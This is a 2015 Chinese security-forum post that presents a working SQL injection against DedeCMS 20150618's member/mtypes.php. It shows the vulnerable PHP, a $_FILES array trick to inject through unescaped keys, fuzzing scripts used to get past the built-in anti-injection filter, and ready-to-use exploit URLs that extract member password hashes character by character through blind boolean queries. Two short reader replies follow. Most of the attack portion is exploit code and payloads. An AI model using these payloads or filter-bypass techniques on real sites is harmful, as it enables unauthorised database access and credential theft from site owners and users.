查看: 14315|回复: 2

DEDECMS 20150618 注入一枚(过防注入\可注入管理员账户)

[复制链接]
  • TA的每日心情

    昨天 23:25
  • 签到天数: 1574 天

    [LV.Master]伴坛终老

    发表于 2015-10-10 23:21:09 | 显示全部楼层 |阅读模式
    作者:′雨。

    首先来看一下
    [PHP] 纯文本查看 复制代码
    function XSSClean($val) {[/align]     global $cfg_soft_lang;
         if($cfg_soft_lang=='gb2312') gb2utf8($val);
         if (is_array($val))
         {
             while (list($key) = each($val))
             {
                 if(in_array($key,array('tags','body','dede_fields','dede_addonfields','dopost','introduce'))) continue;
                 $val[$key] = XSSClean($val[$key]);
             }
             return $val;
         }
         $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
         $search = 'abcdefghijklmnopqrstuvwxyz';
         $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
         $search .= '1234567890!@#$%^&*()';
         $search .= '~`";:?+/={}[]-_|\'\\';
         for ($i = 0; $i < strlen($search); $i++) {
           $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
           $val = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
         }
          
         $val = str_replace("`","‘",$val); //对value有过滤 key无
         $val = str_replace("'","‘",$val); //且key无addslashes
         $val = str_replace("\"","“",$val);
         $val = str_replace(",",",",$val);
         $val = str_replace("(","(",$val);
         $val = str_replace(")",")",$val);


    member/mtypes.php
    [PHP] 纯文本查看 复制代码
    elseif ($dopost == 'save')
     {
         if(isset($mtypeidarr) && is_array($mtypeidarr))
         {
             $delids = '0';
             $mtypeidarr = array_filter($mtypeidarr, 'is_numeric');
             foreach($mtypeidarr as $delid)
             {
     $delid = HtmlReplace($delid);
                 $delids .= ','.$delid;
                 unset($mtypename[$delid]);
             }
             $query = "DELETE FROM `#@__mtypes` WHERE mtypeid IN ($delids) AND mid='$cfg_ml->M_ID';";
             $dsql->ExecNoneQuery($query);
         }
         foreach ($mtypename as $id => $name) //把数组的key循环出来
         { 
             $name = HtmlReplace($name);//只对value 进行了addslashes 没有对key addslashes 导致了$id可引入单引号 造成了注入。
             $query = "UPDATE `#@__mtypes` SET mtypename='$name' WHERE mtypeid='$id' AND mid='$cfg_ml->M_ID'";
             $dsql->ExecuteNoneQuery($query);
         }
         ShowMsg('分类修改完成','mtypes.php');
     }


    所以首先我们注册一个账户, 然后传递一个数组 因为dede是伪全局

    然后发现并没办法直接传递数组 直接mtypename[aa'] 发现dump出来就是一个Array

    导致了循环出来的key就是A。 这里要另外一种方法, 参照menmen519传递数组的方法。
    [PHP] 纯文本查看 复制代码
    foreach($_FILES as $_key=>$_value)
     {
         foreach($keyarr as $k)
         {
             if(!isset($_FILES[$_key][$k]))
             {
                 exit('Request Error!');
             }
         }
         if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
         {
             exit('Request var not allow for uploadsafe!');
         }
         $$_key = $_FILES[$_key]['tmp_name'];
         ${$_key.'_name'} = $_FILES[$_key]['name'];
         ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
         ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
         if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
         {

    利用_FILES来创造一个数组。
    然后有一个问题就是他的防注入, 发现他的防注入又改了。
    [PHP] 纯文本查看 复制代码
    if (strpos($clean, '@') !== FALSE  OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE 
             OR strpos($clean,'$s$$s$')!== FALSE)

    比之前的又添加了双引号, 然后都知道80sec的ids 在`'`后的关键字就能过。

    但是没有了@ 和 " 我们怎么让在我们嵌入的select之前让`'`不报错。
    没有了思路,果断先写个渣脚本fuzz跑一下。
    [PHP] 纯文本查看 复制代码
    <?php 
      
     mysql_connect('localhost','root','');
      
     mysql_query("use dedecmsv");
      
      
     for ($i=0;$i<256;$i++){
      
     $b=chr($i);
      
     $sql="select uname from dede_member where uname='a' and $b`'` union select user()";
      
     $a=@mysql_fetch_array(mysql_query($sql));
      
     if ($a){
      
     echo $i;
     echo "</br>";
     echo $b;
     echo "</br>";
     echo urlencode($b); 
      
     }
      
     }

    1.png
    发现只跑出来了 @ 继续改一下脚本再跑
    [PHP] 纯文本查看 复制代码
    <?php 
     
    mysql_connect('localhost','root','');
     
    mysql_query("use dedecmsv");
     
     
    for ($i=0;$i<256;$i++){
     
    $b=chr($i);
     
    $sql="select uname from dede_member where uname='a' and $b`'`$b union select user()";
     
    $a=@mysql_fetch_array(mysql_query($sql));
     
    if ($a){
     
         
    echo $i;
    echo "</br>";
    echo $b;
    echo "</br>";
    echo urlencode($b); 
         
    }
     
    }


    发现又只跑出来了一个 双引号。。 恰巧这两个又被过滤了。
    还好这时候ooxx牛在。
    WHERE mtypeid='a' and `'`.``.mtypeid and
    这种也能执行 所以成功绕过了dedecms的防注入。
    所以就可注入了。

    _______________________________________________________________________


    演示一下流程

    首先一个会员 来到 /member/mtypes.php 创建一个分类
    [PHP] 纯文本查看 复制代码
    增加分类成功
    如果你的浏览器没反应,请点击这里...

    [PHP] 纯文本查看 复制代码
    删?  分类ID    内容类型    分类名称
     
        1   普通文章    www

    这里先记下分类的ID为1 名称为 www
    然后访问
    [PHP] 纯文本查看 复制代码
    http://www.ihonker.org/new/dedecmsv/member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][a' and `'`.``.mtypeid or if(ascii(substr((select pwd from dede_member limit 1),1,1))%3d51,1,0) and mtypeid%3d1%23]=w&_FILES[mtypename][size]=.xxxx

    [PHP] 纯文本查看 复制代码
    删?  分类ID    内容类型    分类名称
     
        1   普通文章    www

    发现分类名称没有改变
    再改一下
    [PHP] 纯文本查看 复制代码
    http://www.ihonker.org/new/dedecmsv/member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][a' and `'`.``.mtypeid or if(ascii(substr((select pwd from dede_member limit 1),1,1))%3d50,1,0) and mtypeid%3d1%23]=w&_FILES[mtypename][size]=.xxxx

    访问后 再回到分类管理来看
    [PHP] 纯文本查看 复制代码
    删?  分类ID    内容类型    分类名称
     
        1   普通文章    w

    现在分类名称已经变成我们数组的value了 就说明 当pwd的第一位ascii码为50的时候

    就是true了 再转回来 说明pwd的第一位就是2

    评分

    参与人数 1i币 +5 收起 理由
    蓝颜 + 5 感谢分享

    查看全部评分

    回复

    使用道具 举报

  • TA的每日心情
    无聊
    2017-1-31 15:59
  • 签到天数: 132 天

    [LV.7]常住居民III

    发表于 2015-10-11 17:05:31 | 显示全部楼层
    没看懂。
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2017-9-1 13:44
  • 签到天数: 68 天

    [LV.6]常住居民II

    发表于 2016-6-6 15:03:07 | 显示全部楼层
    很详细,小白还得消化一下
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-5-21 02:17 , Processed in 0.026858 second(s), 21 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部